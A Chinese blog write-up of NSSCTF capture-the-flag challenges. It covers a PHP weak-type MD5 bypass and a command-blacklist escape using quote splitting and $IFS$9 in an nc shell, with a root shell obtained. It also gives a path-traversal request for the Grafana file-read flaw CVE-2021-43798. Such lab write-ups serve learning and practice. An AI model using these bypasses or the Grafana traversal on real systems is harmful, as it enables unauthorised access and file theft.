2023-04-18
2023-04-17 本文已影响0人
Tess鱼丸
NSS第一题
image.png通过阅读代码,可以看出是要求你通过POST请求传递一个id为"wllmNB"参数的同时,通过get请求也传递一个json格式的参数,关键payload如下:
POST /?json={"x":"wllm"} HTTP/1.1
...
id=wllmNB
第二题easy MD5
image.pngPOST、GET、MD5匹配
仔细阅读代码发现
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
既要两变量个值不相同,又要两个变量md5值一样,
可以发现此时判断md5值是否一样用的是==,这是php的弱类型比较,
方法一: 可以使用带0e开头的数字穿进行传递参数,
因为php会将0e开头的数字转化为0,故此时md5值相等,而两个变量值不相等;
方法二: 可以传递数组,如name[]=123,password[]=456,md5不能加密数组,故两个md5返回的都是null
另:若遇到===这样的强类型比较,方法一就失效了,
方法二仍然有效,或者还可以使用软件fastcoll进行md5碰撞,生成两个字符串使得他们的md5值相同
nc签到题
直接nc连接就可以
nc 1.14.71.254 28184
root@2837d425b7c744ca:/# cat mai
cat main.py
import os
art = '''
(( "####@@!!$$ ))
`#####@@!$$` ))
(( '####@!!$:
(( ,####@!!$: ))
.###@!!$:
`##@@!$:
`#@!!$
!@# `#@!$: @#$
#$ `#@!$: !@!
'@!$:
'`\ "!$: /`'
'\ '!: /'
"\ : /"
-."-/\\\-."//.-"/:`\."-.JrS"."-=_\\
" -."-.\\"-."//.-".`-."_\\-.".-\".-//'''
print(art)
print("My_shell_ProVersion")
blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']
while True:
command = input()
for i in blacklist:
if i in command:
exit(0)
os.system(command)
过滤了空格、ls、cat、<等,可以使用引号截断绕过,
pwd
/
l's'
bin
boot
dev
etc
flag
home
lib
lib64
main.py
media
mnt
opt
proc
root
run
run.sh
sbin
srv
sys
tmp
usr
var
c'at'$IFS$9flag
!!!!其他方法!!!!
=======
a=c;b=a;c=t;$a$b$c$IFS$1flag
nl$IFS$9f*
=======
在bash的shell下,nc完了直接输su,然后没反应,
不用管,继续输cat flag就出来了哈哈哈,不过我试了一下zsh情况下却打不通
su
id
uid=0(root) gid=0(root) groups=0(root)
zsh
id
uid=0(root) gid=0(root) groups=0(root)
这里以后输入命令就不会有任何限制了
ls
bin
boot
dev
python3 -c "import pty;pty.spawn('/bin/bash')"
root@2837d425b7c744ca:/# ls
ls
bin dev flag lib main.py mnt proc run sbin sys usr
boot etc home lib64 media opt root run.sh srv tmp var
root@2837d425b7c744ca:/# cat flag
cat flag
NSSCTF{18d9a291-706e-4f17-9759-90e0af7e985f}
root@2837d425b7c744ca:/#
NSS 实战
CVE-2021-43798 Grafana任意文件读取
抓包,修改路径
/public/plugins/gauge/../../../../../../../../../flag